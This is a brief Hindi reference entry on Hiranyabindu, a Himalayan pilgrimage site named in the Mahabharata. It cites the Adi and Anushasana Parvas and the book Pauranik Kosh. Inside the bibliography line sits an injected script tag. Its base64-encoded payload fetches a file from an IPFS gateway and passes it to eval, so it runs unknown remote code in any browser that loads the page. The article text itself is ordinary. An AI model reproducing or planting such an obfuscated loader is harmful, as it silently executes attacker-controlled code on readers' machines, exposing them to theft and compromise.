हिरण्यबिन्दु

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हिरण्यबिन्दु का उल्लेख पौराणिक ग्रंथ महाभारत में हुआ है। महाभारत आदि पर्व के अनुसार ये हिमालय के निकट का एक तीर्थ है, जहाँ तीर्थ-यात्रा के सिलसिले में अर्जुन का आगमन हुआ था।[1] महाभारत अनुशासन पर्व के अनुसार जो पुरुष मन और इन्द्रियों का संयमन कर इस तीर्थ में स्नानकर भगवान कुशेशय को प्रणाम करता है, उसके सब पाप धुल जाते हैं।[2]


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टीका टिप्पणी और संदर्भ

पौराणिक कोश |लेखक: राणा प्रसाद शर्मा |प्रकाशक: ज्ञानमण्डल लिमिटेड, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 552 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  1. महाभारत आदि पर्व 214.4
  2. महाभारत अनुशासन पर्व 25.10-11

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